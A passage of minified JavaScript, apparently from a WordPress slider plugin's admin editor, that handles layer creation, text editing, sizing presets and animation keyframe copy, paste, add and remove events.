0!==t.val&&RVS.F.videoExtract.get(t.val,function(e){RVS.F.setBGPosterImage(e.path,e.id,"layer")},document.getElementById("layer_video_start").value,"layer")}),RVS.DOC.on("uploadImagesAndCreateLayer",function(e,t){if(void 0!==t&&void 0!==t.path&&t.path.length>4){var i=t.path.substr(t.path.length-4).toLowerCase();switch(i){case".png":case".bmp":case".jpg":case".gif":case"jpeg":var a=RVS.F.addLayer({type:"image",forceSelect:!0,subtype:"predefined",extension:{size:{originalHeight:t.height,originalWidth:t.width},media:{imageId:t.id,imageUrl:t.path}}});RVS.F.intelligentUpdateValuesOnLayer(a),setTimeout(function(){RVS.DOC.trigger("restoreLayersSize")},500),RVS.F.selectLayers({id:a,overwrite:!0,action:"add"});break;case".mp4":case".mp3":case".mov":case".m4v":case"mpeg":var a=RVS.F.addLayer({type:"video",forceSelect:!0,subtype:"predefined",extension:{media:{id:t.id,mp4Url:t.path}}})}}}),RVS.DOC.on("click",".convert_layer_into",function(){var e=this.dataset.into;if("none"!==e){for(var t in RVS.selLayers)RVS.selLayers.hasOwnProperty(t)&&(RVS.L[RVS.selLayers[t]].type=e,RVS.L[RVS.selLayers[t]]=RVS.F.addLayerObj(jQuery.extend(!0,RVS.F.addLayerObj(e,void 0,!1,!0),RVS.L[RVS.selLayers[t]])),RVS.H[RVS.selLayers[t]].w.remove(),delete RVS.H[RVS.selLayers[t]],RVS.F.buildHTMLLayer({uid:RVS.selLayers[t]}),RVS.F.drawHTMLLayer({uid:RVS.selLayers[t]}),jQuery("#tllayerlist_element_276_"+RVS.selLayers[t]).find(".layerlist_element_type").html(''+RVS.F.getLayerIcon(e)+""),RVS.F.showInfo({content:RVS_LANG.convertedlayer,type:"success",showdelay:0,hidedelay:2,hideon:"",event:""}));for(var i in window.lastselectedlayers=new Array,RVS.selLayers)lastselectedlayers.push(RVS.selLayers[i]);for(var i in RVS.F.showForms(RVS.eMode.menu,!0),lastselectedlayers)RVS.F.selectLayers({id:lastselectedlayers[i],overwrite:!1,action:"add"});RVS.F.updateLayerInputFields()}}),RVS.DOC.on("updateLayerLoopTimelineframes",function(e,t){void 0!==t&&"updateAllLayerFrames"==t.eventparam&&RVS.F.updateAllLayerFrames(),RVS.F.updateLayerTimelineLoopLists()}),RVS.DOC.on("updateCustomCSSLayerInput",RVS.F.updateCustomCSS),RVS.DOC.on("showhidelayerlooping",function(e,t){jQuery(".la_loopings_tab").hide(),jQuery("#la_loopings_tab_"+t).show()}),RVS.DOC.on("redrawInnerHTML",function(e,t){RVS.F.redrawTextLayerInnerHTML(t.layerid)}),RVS.DOC.on("layerTextContentUpdate",function(e,t){if(void 0!==t&&void 0!==t.val)for(var i in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];if("text"===RVS.L[a].type||"button"===RVS.L[a].type){if(RVS.C.toggledTextButton.className.indexOf("selected")>=0&&(!RVS.L[a].toggle.set||""==RVS.L[a].toggle.text))continue;void 0!==RVS.H[a].splitText&&RVS.H[a].splitText.revert(),RVS.H[a].splitText=void 0,"placeholder"!==t.eventparam||0!==t.val.length&&""!==t.val&&" "!==t.val?void 0!==RVS.L[a].placeholder&&""!==RVS.L[a].placeholder&&"placeholder"!==t.eventparam||(RVS.H[a].c[0].innerHTML=jQuery.inArray(RVS.L[a].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(t.val):RVS.F.replaceMetas(t.val.replace(/\r\n|\r|\n/g,"
    "))):RVS.H[a].c[0].innerHTML=jQuery.inArray(RVS.L[a].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(RVS.L[a].text):RVS.F.replaceMetas(RVS.L[a].text.replace(/\r\n|\r|\n/g,"
    ")),RVS.F.drawHTMLLayer({uid:a,ignoreLayerAnimation:!0}),void 0!==RVS.H[a].splitText&&RVS.F.updateLayerFrames({layerid:a})}}}),RVS.DOC.on("input","#ta_layertext",function(){var e=this.value;for(var t in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(t)){var i=RVS.selLayers[t];"text"!==RVS.L[i].type&&"button"!==RVS.L[i].type||(void 0!==RVS.H[i].splitText&&RVS.H[i].splitText.revert(),RVS.H[i].splitText=void 0,RVS.H[i].c[0].innerHTML=jQuery.inArray(RVS.L[i].idle.whiteSpace[RVS.screen].v,["normal","nowrap"])>=0?RVS.F.replaceMetas(e):RVS.F.replaceMetas(e.replace(/\r\n|\r|\n/g,"
    ")))}}),RVS.DOC.on("addBRtoTextLayer",function(e,t){var i=jQuery("#ta_layertext")[0].selectionStart;for(var a in RVS.F.openBackupGroup({id:"insertlinebreak",txt:"Insert Line Break",icon:"subdirectory_arrow_right"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(a)){var r=RVS.selLayers[a],s=RVS.S.slideId+".layers."+r+".text",o=RVS.L[r].text.substring(0,i),n=RVS.L[r].text.substring(i,RVS.L[r].text.length);RVS.F.updateSliderObj({path:s,val:o+"
    "+n}),RVS.F.redrawTextLayerInnerHTML(r,!0)}RVS.F.closeBackupGroup({id:"insertlinebreak"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("screenSelectorChanged",function(){for(var e in window.lastselectedlayers=new Array,RVS.selLayers)lastselectedlayers.push(RVS.selLayers[e]);RVS.SLIDER[RVS.S.slideId].slide.static.isstatic&&void 0!==RVS.S.lastShownSlideId&&(RVS.F.showWaitAMinute({fadeIn:50,text:"Please Wait"}),tpGS.gsap.to("#rev_slider_ul",.05,{opacity:0}),setTimeout(function(){var e=RVS.S.slideId;RVS.F.mainMode({mode:"slidelayout",slide:RVS.S.lastShownSlideId}),RVS.F.updateLayerInputFields(),RVS.F.expandCollapseTimeLine(!0,"open"),RVS.F.sliderUpdateAfterResize(),setTimeout(function(){for(var t in RVS.F.mainMode({mode:"slidelayout",slide:e}),RVS.F.showForms(RVS.eMode.menu,!0),RVS.F.sliderUpdateAfterResize(),lastselectedlayers)RVS.F.selectLayers({id:lastselectedlayers[t],overwrite:!1,action:"add"});RVS.F.showWaitAMinute({fadeOut:200,text:"Please Wait"}),tpGS.gsap.to("#rev_slider_ul",.5,{opacity:1})},250)},100)),RVS.F.updateAllHTMLLayerPositions(),RVS.F.updateLayerInputFields(),RVS.F.expandCollapseTimeLine(!0,"open")}),RVS.DOC.on("sliderSizeChanged",function(){RVS.F.drawHTMLLayers(),RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"GoToIdle"})}),RVS.DOC.on("updatelayerbgimage",RVS.F.updateLayerBgImage),RVS.DOC.on("updatelayerimagesrc",RVS.F.updateLayerImageSrc),RVS.DOC.on("resetVideoPlaceholder",RVS.F.resetVideoPlaceholder),RVS.DOC.on("syncVideoRatio",RVS.F.resyncVideoAspectRatio),RVS.DOC.on("lockMargin",function(e,t){RVS.F.lockUnlockMarginPadding(t,"margin",".#size#.v")}),RVS.DOC.on("lockPadding",function(e,t){RVS.F.lockUnlockMarginPadding(t,"padding",".#size#.v")}),RVS.DOC.on("lockBorder",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderWidth","")}),RVS.DOC.on("lockBorderRadius",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderRadius",".v")}),RVS.DOC.on("lockBorderHover",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderWidth","","hover")}),RVS.DOC.on("lockBorderRadiusHover",function(e,t){RVS.F.lockUnlockMarginPadding(t,"borderRadius",".v","hover")}),RVS.DOC.on("updateMarginInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"margin",".#size#.v")}),RVS.DOC.on("updatePaddingInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"padding",".#size#.v")}),RVS.DOC.on("updateBorderInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderWidth","")}),RVS.DOC.on("updateBorderRadiusInput",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderRadius",".v")}),RVS.DOC.on("updateBorderInputHover",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderWidth","","hover")}),RVS.DOC.on("updateBorderRadiusInputHover",function(e,t){RVS.F.updateMarginPaddingValues(t,"borderRadius",".v","hover")}),RVS.DOC.on("updateFontFamily",function(e,t){t="fontweight"===t,RVS.F.checkUsedFonts(t)}),RVS.DOC.on("updateInputFields",function(e,t){RVS.F.updateLayerInputFields()}),RVS.DOC.on("layerSizeChange",function(e,t){for(var i in RVS.F.changeLayerSizes({direction:t.eventparam,v:t.val}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.selLayers[i];RVS.F.updateHTMLLayerPosition({uid:a,updateValues:!1,lhCwidth:RVS.H[a].c.outerWidth(),lhCheight:RVS.H[a].c.outerHeight()})}}),RVS.DOC.on("audioControlOnOff",function(e,t){RVS.F.changeAudioLayerSize({v:t.val})}),RVS.DOC.on("disableAllMediaControls",function(e,t){RVS.F.changeMediaControlsInteraction({v:t.val})}),RVS.DOC.on("lockLayerRatio",function(e,t){RVS.F.lockUnlockLayerRatio(t)}),RVS.F.updateInsetViews=function(e){},RVS.F.updateAllInsetViews=function(){for(var e in RVS.selLayers)if(RVS.selLayers.hasOwnProperty(e))continue},RVS.DOC.on("layerSizePreset",function(e,t){for(var i in RVS.F.openBackupGroup({id:"layerresize",txt:"Size Preset",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]],r=RVS.S.slideId+".layers."+RVS.selLayers[i]+".",s=document.getElementById("layer_covermode");switch("fullinset"!=s.value||"absolute"===a.position.position&&null!=RVS.L[a.group.puid]&&"group"===RVS.L[a.group.puid].type||(s.value=a.size.covermode,t.val=a.size.covermode,RVS.F.showInfo({content:RVS_LANG.insetrequirements,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})),void 0!==RVS.L[a.group.puid]&&"column"===RVS.L[a.group.puid].type&&("shape"===a.type|"button"===a.type||"text"==a.type)&&(t.val="custom",s.value="custom"),"fullinset"==RVS.L[RVS.selLayers[i]].size.covermode&&"fullinset"!==s.value&&RVS.F.updateSliderObj({path:r+"idle.margin.#size#.v",val:[0,0,0,0]}),RVS.F.updateSliderObj({path:r+"size.covermode",val:t.val}),s.value){case"custom":if("image"===RVS.L[RVS.selLayers[i]].type){RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});var o=RVS.F.getProportionalSizes({proportional:!0,type:"fit",image:{width:a.size.originalWidth,height:a.size.originalHeight},viewPort:{width:a.size.width[RVS.screen].v,height:a.size.height[RVS.screen].v}});RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:o.width+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:o.height+"px"})}break;case"fullwidth":"image"===RVS.L[RVS.selLayers[i]].type&&RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"});break;case"fullheight":"image"===RVS.L[RVS.selLayers[i]].type&&RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"});break;case"cover-proportional":RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"});break;case"cover":RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!1}),RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"});break;case"fullinset":RVS.F.updateSliderObj({path:r+"position.x.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"100%"}),RVS.F.updateSliderObj({path:r+"position.y.#size#.v",val:"0px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"100%"})}RVS.F.selectedLayersVisualUpdate(),RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("restoreLayersSize",function(e,t){for(var i in RVS.F.openBackupGroup({id:"layerresize",txt:"Restore Original Size",icon:"photo_size_select_large"}),RVS.selLayers)if(RVS.selLayers.hasOwnProperty(i)){var a=RVS.L[RVS.selLayers[i]],r=RVS.S.slideId+".layers."+RVS.selLayers[i]+".";switch(a.type){case"shape":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:parseInt(a.size.originalWidth)+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:parseInt(a.size.originalHeight)+"px"});break;case"image":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:parseInt(a.size.originalWidth)+"px"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:parseInt(a.size.originalHeight)+"px"}),RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});break;case"video":RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:RVS.F.retWitSuf(a.size.originalWidth,"px")}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:RVS.F.retWitSuf(a.size.originalHeight,"px")}),RVS.F.updateSliderObj({path:r+"size.scaleProportional",val:!0});break;default:RVS.F.updateSliderObj({path:r+"size.width.#size#.v",val:"auto"}),RVS.F.updateSliderObj({path:r+"size.height.#size#.v",val:"auto"})}RVS.F.drawHTMLLayer({uid:RVS.selLayers[i]})}RVS.F.closeBackupGroup({id:"layerresize"}),RVS.F.updateLayerInputFields()}),RVS.DOC.on("updateKeyFramesList",function(){if(0!==RVS.selLayers.length){RVS.S.keyFrame="idle"===RVS.S.keyFrame?RVS.L[RVS.selLayers[0]].timeline.frameToIdle:RVS.S.keyFrame,s=void 0===s?jQuery("#le_keyframes_list_innerwrap"):s,r=void 0===r?jQuery("#set_editor_view"):r,RVS.LIB.LAYERANIMS.animSettings[0].className="selected_"+RVS.S.keyFrame,RVS.LIB.LAYERANIMS.translists[0].detach(),RVS.LIB.LAYERANIMS.translists[999].detach();var e="";for(var t in RVS.F.getFrameOrder({layerid:RVS.selLayers[0]}),RVS.L[RVS.selLayers[0]].timeline.frameOrder)if(RVS.L[RVS.selLayers[0]].timeline.frameOrder.hasOwnProperty(t)){var i=RVS.L[RVS.selLayers[0]].timeline.frameOrder[t].id,a=parseInt(t,0)+1,o=RVS.S.keyFrame==i?" selected":"",n="frame_999"===i||"frame_0"===i?"":'
    add
    ';RVS.S.keyFrame==i&&p(a);var l="frame_0"===i?"IN":"frame_999"===i?"OUT":"TO",d="frame_0"===i||"frame_999"===i?'arrow_drop_down':'',S=i===RVS.L[RVS.selLayers[0]].timeline.frameToIdle?'visibility':"",c=""!==S?"with_icon":"";e+='
  • more_vert
    '+l+d+''+S+RVS.L[RVS.selLayers[0]].timeline.frames[i].alias+""+n+"
  • "}RVS.L[RVS.selLayers[0]].timeline.frameToIdle===RVS.S.keyFrame?r.addClass("disabled"):r.removeClass("disabled"),s[0].innerHTML=e,RVS.L[RVS.selLayers[0]].timeline.tloop.use&&RVS.F.updateLayerTimelineLoopLists(),RVS.F.updateFrameOptionsVisual()}}),RVS.DOC.on("reverse-in-animation",function(e,t){0!==RVS.selLayers.length&&RVS.F.updateLayerFrame({layerid:RVS.selLayers[0],frame:"frame_999"})}),RVS.DOC.on("click",".keyframe_liste",function(){RVS.F.setKeyframeSelected(this.dataset.frame)}),RVS.DOC.on("click",".frame_list_eview",function(){var e=RVS.S.slideId+".layers."+RVS.selLayers[0]+".timeline.frameToIdle";RVS.F.updateSliderObj({path:e,val:this.dataset.frame}),RVS.DOC.trigger("updateKeyFramesList")}),RVS.DOC.on("addkeyframe",function(e,t){if(0!==RVS.selLayers.length){var i=RVS.selLayers[0],a=function(e){var t=0;for(var i in RVS.L[e.layerid].timeline.frames)if(RVS.L[e.layerid].timeline.frames.hasOwnProperty(i)){var a=parseInt(i.split("frame_")[1],0);t=t<=a&&a<998?a+1:t}return"frame_"+t}({layerid:i}),r=RVS.F.getPrevNextFrame({layerid:i,frame:t});if(r.next.start>r.cur.end+500){RVS.F.openBackupGroup({id:"AddLayerFrame",txt:"Add KeyFrame",icon:"theaters"}),RVS.L[i].timeline.frames[a]=h({speed:400,start:r.cur.end+100,alias:RVS_LANG.animateto},a);try{RVS.L[i].timeline.frames[a].transform.originX=RVS.L[i].timeline.frames[t].transform.originX,RVS.L[i].timeline.frames[a].transform.originY=RVS.L[i].timeline.frames[t].transform.originY,RVS.L[i].timeline.frames[a].transform.originZ=RVS.L[i].timeline.frames[t].transform.originZ,RVS.L[i].timeline.frames[a].chars.originX=RVS.L[i].timeline.frames[t].chars.originX,RVS.L[i].timeline.frames[a].chars.originY=RVS.L[i].timeline.frames[t].chars.originY,RVS.L[i].timeline.frames[a].chars.originZ=RVS.L[i].timeline.frames[t].chars.originZ,RVS.L[i].timeline.frames[a].words.originX=RVS.L[i].timeline.frames[t].words.originX,RVS.L[i].timeline.frames[a].words.originY=RVS.L[i].timeline.frames[t].words.originY,RVS.L[i].timeline.frames[a].words.originZ=RVS.L[i].timeline.frames[t].words.originZ,RVS.L[i].timeline.frames[a].lines.originX=RVS.L[i].timeline.frames[t].lines.originX,RVS.L[i].timeline.frames[a].lines.originY=RVS.L[i].timeline.frames[t].lines.originY,RVS.L[i].timeline.frames[a].lines.originZ=RVS.L[i].timeline.frames[t].lines.originZ}catch(e){console.info(e)}RVS.L[i].timeline.frames[a].color=jQuery.extend(!0,{},RVS.L[i].timeline.frames[t].color),RVS.L[i].timeline.frames[a].filter=jQuery.extend(!0,{},RVS.L[i].timeline.frames[t].filter),RVS.F.backup({path:i+".timeline.frames."+a,cache:void 0,icon:"theaters",txt:"Add Layer Keyframe",lastkey:a,layer:i,slide:RVS.S.slideId,frame:a,force:!0,val:RVS.L[i].timeline.frames[a],old:{},backupType:"frame",bckpGrType:"AddLayerFrame"}),RVS.F.closeBackupGroup({id:"AddLayerFrame"}),RVS.F.addLayerFrameOnDemand(RVS.L[i],document.getElementById("tllayerlist_element_"+RVS.S.slideId+"_"+i),a),RVS.F.getFrameOrder({layerid:i}),RVS.F.updateFramesZIndexes({layerid:i}),RVS.DOC.trigger("updateKeyFramesList"),RVS.S.keyFrame=a,setTimeout(function(){RVS.F.setKeyframeSelected(a)},20)}else RVS.F.showInfo({content:RVS_LANG.notenoughspaceontimeline,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}}),RVS.DOC.on("click","#remove_keyframe",function(){var e=RVS.selLayers[0];RVS.F.openBackupGroup({id:"RemoveLayerFrame",txt:"Remove KeyFrame",icon:"theaters"}),RVS.F.backup({path:e+".timeline.frames."+RVS.S.keyFrame,cache:void 0,icon:"theaters",txt:"Remove Layer Keyframe",lastkey:RVS.S.keyFrame,layer:e,slide:RVS.S.slideId,frame:RVS.S.keyFrame,force:!0,val:{},old:RVS.L[e].timeline.frames[RVS.S.keyFrame],backupType:"frame",bckpGrType:"RemoveLayerFrame"}),delete RVS.L[e].timeline.frames[RVS.S.keyFrame],jQuery("#"+RVS.S.slideId+"_"+e+"_"+RVS.S.keyFrame).remove(),RVS.S.keyFrame===RVS.L[e].timeline.frameToIdle&&RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".timeline.frameToIdle",val:"frame_1"}),RVS.S.keyFrame="frame_1",RVS.F.getFrameOrder({layerid:e}),RVS.F.updateFramesZIndexes({layerid:e}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.updateLayerInputFields(),RVS.F.closeBackupGroup({id:"RemoveLayerFrame"})}),RVS.DOC.on("click","#set_editor_view",function(){var e=RVS.selLayers[0];RVS.F.updateSliderObj({path:RVS.S.slideId+".layers."+e+".timeline.frameToIdle",val:RVS.S.keyFrame}),RVS.F.getFrameOrder({layerid:e}),RVS.F.updateFramesZIndexes({layerid:e}),RVS.DOC.trigger("updateKeyFramesList"),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]})}),RVS.DOC.on("click",".transtarget_selector",function(){var e=jQuery(this).closest(".form_inner");e.find(".transtarget_selector").removeClass("selected"),this.className+=" selected",e.find(".group_transsettings").hide(),jQuery(this.dataset.showtrans).show(),RVS.S.frameTrgt=this.dataset.frametarget}),RVS.DOC.on("click",".looptarget_selector",function(){jQuery(".looptarget_selector").removeClass("selected"),this.className+=" selected",jQuery(".group_loopsettings").hide(),jQuery(this.dataset.showloop).show()}),RVS.DOC.on("click",".keyframe_CP_wrap",function(){return window.frameCopyPaste=void 0===window.frameCopyPaste?{cache:void 0,tool:void 0}:window.frameCopyPaste,window.frameCopyPaste.frame="frame_0"===this.dataset.frame?"frame_1":this.dataset.frame,window.frameCopyPaste.layerid=RVS.selLayers[0],void 0===window.frameCopyPaste.tool&&(jQuery(document.body).append('
    '+RVS_LANG.copy+'
    '+RVS_LANG.paste+"
    "),window.frameCopyPaste.tool=jQuery("#frame_copypaste_tool")),void 0!==window.frameCopyPaste.cache?window.frameCopyPaste.tool.addClass("copy_and_paste"):window.frameCopyPaste.tool.removeClass("copy_and_paste"),window.frameCopyPaste.visible=!0,tpGS.gsap.set(window.frameCopyPaste.tool,{display:"block",top:jQuery(this).offset().top}),!1}),RVS.DOC.on("click",".copyframe",function(){return"frame_1"===window.frameCopyPaste.frame?window.frameCopyPaste.cache_0=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0):delete window.frameCopyPaste.cache_0,window.frameCopyPaste.cache=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame]),window.frameCopyPaste.clipPath=jQuery.extend(!0,{},RVS.L[window.frameCopyPaste.layerid].timeline.clipPath),window.frameCopyPaste.splitlen=RVS.F.getSplitDelay({layerid:window.frameCopyPaste.layerid,frame:window.frameCopyPaste.frame}),window.frameCopyPaste.len=RVS.F.addT([window.frameCopyPaste.cache.timeline.speed,window.frameCopyPaste.splitlen]),tpGS.gsap.set(window.frameCopyPaste.tool,{display:"none"}),window.frameCopyPaste.visible=!1,!1}),RVS.DOC.on("click",".pasteframe",function(){var e=RVS.selLayers[0],t=RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame],i=RVS.L[window.frameCopyPaste.layerid].timeline.clipPath,a=void 0!==window.frameCopyPaste.cache_0?RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0:void 0,r=RVS.F.getPrevNextFrame({layerid:e,frame:window.frameCopyPaste.frame}),s=RVS.F.addT([t.timeline.start,window.frameCopyPaste.len]);if(r.next.start>s){RVS.F.openBackupGroup({id:"updateFrame",txt:"Copy Paste KeyFrame",icon:"theaters"});var o=jQuery.extend(!0,window.frameCopyPaste.cache,{alias:t.timeline.alias,timeline:{start:t.timeline.start}}),n=jQuery.extend(!0,{},window.frameCopyPaste.clipPath),l=void 0!==window.frameCopyPaste.cache_0?jQuery.extend(!0,window.frameCopyPaste.cache_0,{alias:a.timeline.alias,timeline:{start:a.timeline.start}}):void 0;"frame_999"!==window.frameCopyPaste.frame&&(o.timeline.endWithSlide=!1,o.timeline.auto=!1),RVS.F.backup({lastkey:window.frameCopyPaste.frame,frame:window.frameCopyPaste.frame,layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.frames."+window.frameCopyPaste.frame,cache:void 0,icon:"theaters",txt:"Copy Paste KeyFrame",slide:RVS.S.slideId,force:!0,val:o,old:t,backupType:"singleFrame",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.frames[window.frameCopyPaste.frame]=jQuery.extend(!0,{},o),RVS.F.backup({lastkey:window.frameCopyPaste.clipPath,layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.clipPath",cache:void 0,icon:"theaters",txt:"Copy Paste clipPath",slide:RVS.S.slideId,force:!0,val:n,old:i,backupType:"clipPath",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.clipPath=jQuery.extend(!0,{},n),void 0!==a&&(RVS.F.backup({lastkey:"frame_0",frame:"frame_0",layer:window.frameCopyPaste.layerid,path:window.frameCopyPaste.layerid+".timeline.frames.frame_0",cache:void 0,icon:"theaters",txt:"Copy Paste KeyFrame",slide:RVS.S.slideId,force:!0,val:l,old:a,backupType:"singleFrame",bckpGrType:"updateFrame"}),RVS.L[window.frameCopyPaste.layerid].timeline.frames.frame_0=jQuery.extend(!0,{},l)),RVS.F.closeBackupGroup({id:"updateFrame"}),RVS.F.updateAllLayerFrames(),RVS.F.renderLayerAnimation({layerid:window.frameCopyPaste.layerid}),RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}),RVS.F.selectLayers({id:window.frameCopyPaste.layerid,overwrite:!0,action:"add"})}else RVS.F.showInfo({content:RVS_LANG.notenoughspaceontimeline,type:"warning",showdelay:0,hidedelay:2,hideon:"",event:""})}),RVS.DOC.on("mouseleave","#frame_copypaste_tool",function(){tpGS.gsap.set(window.frameCopyPaste.tool,{display:"none"}),window.frameCopyPaste.visible=!1}),RVS.DOC.on("checkEnterFrameLevels",function(e,t){if(void 0!==t&&void 0!==t.layerid&&("frame_1"===RVS.S.keyFrame||"frame_0"===RVS.S.keyFrame)){var i="frame_0"===RVS.S.keyFrame?"frame_1":"frame_0";RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].chars.use&&(RVS.L[t.layerid].timeline.frames[i].chars.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].words.use&&(RVS.L[t.layerid].timeline.frames[i].words.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].lines.use&&(RVS.L[t.layerid].timeline.frames[i].lines.use=!0),RVS.L[t.layerid].timeline.frames[RVS.S.keyFrame].mask.use&&(RVS.L[t.layerid].timeline.frames[i].mask.use=!0)}for(var a in RVS.F.updateFrameOptionsVisual(),RVS.selLayers)RVS.selLayers.hasOwnProperty(a)&&(RVS.F.updateLayerFrame({layerid:parseInt(RVS.selLayers[a],0),frame:"frame_0"!==RVS.S.keyFrame?RVS.S.keyFrame:"frame_1"}),RVS.F.updateFrameRealSpeed())}),RVS.DOC.on("click",".layer_transliste_head",function(){var e=this.parentNode.className.indexOf("open")>=0;jQuery(".layer_transliste").removeClass("open"),e||(this.parentNode.className+=" open")}),RVS.DOC.on("click",".frame_list_id",function(){jQuery("#keyframe_list_el_frame_0").append(RVS.LIB.LAYERANIMS.translists[0]),jQuery("#keyframe_list_el_frame_999").append(RVS.LIB.LAYERANIMS.translists[999]);var e=this.parentNode.parentNode.className.indexOf("open")>=0;return jQuery(".keyframe_liste").removeClass("open"),e||(this.parentNode.parentNode.className+=" open"),!1}),RVS.DOC.on("click",".latransgroup_head",function(){var e=this.parentNode.className.indexOf("open")>=0;return jQuery(".latransgroup").removeClass("open"),e||(this.parentNode.className+=" open"),!1}),RVS.DOC.on("mouseover",".load_anim_value_wrap",function(){window.timelineTemporaryCached||(window.timelineTemporaryCached=!0,RVS.L[RVS.selLayers[0]].timelinecache=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timeline))}),RVS.DOC.on("mouseleave",".load_anim_value_wrap",function(){window.timelineTemporaryCached=!1,void 0!==RVS.L[RVS.selLayers[0]].timelinecache&&(RVS.L[RVS.selLayers[0]].timeline=jQuery.extend(!0,{},RVS.L[RVS.selLayers[0]].timelinecache)),delete RVS.L[RVS.selLayers[0]].timelinecache,clearTimeout(window.timelineTemporaryUpdate),window.timelineTemporaryUpdate=setTimeout(function(){RVS.F.updateLayerFrames({layerid:RVS.selLayers[0]})},50),RVS.S.shwLayerAnim?RVS.F.playLayerAnimation({layerid:RVS.selLayers[0]}):RVS.F.stopAllLayerAnimation(),RVS.F.buildMainTimeLine(),RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"load_anim_value_left"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0})}),RVS.DOC.on("mouseover",".layer_trans_liste",function(){if("custom"===this.dataset.tindex)return!1;void 0!==RVS.L[RVS.selLayers[0]].timelinecache&&(R(RVS.LIB.LAYERANIMS[this.dataset.lindex][this.dataset.gindex].transitions[this.dataset.tindex]),RVS.F.renderLayerAnimation({layerid:RVS.selLayers[0]}),RVS.F.playLayerAnimation({layerid:RVS.selLayers[0],time:"out"===this.dataset.lindex?"frame_999":void 0}))}),RVS.DOC.on("click",".layer_trans_liste",function(){if(void 0!==RVS.L[RVS.selLayers[0]].timelinecache){if("custom"===this.dataset.tindex){var e=jQuery(this);return this.dataset.mode="create",e.addClass("cla_showentername"),e.find("input").trigger("focus").trigger("select"),RVS.S.waitOnFeedback={allowed:["cla_entername","cla_answer_yes","cla_answer_no"],closeEvent:"hideCustomLayerNameEntering"},RVS.F.addBodyClickListener(),!1}return 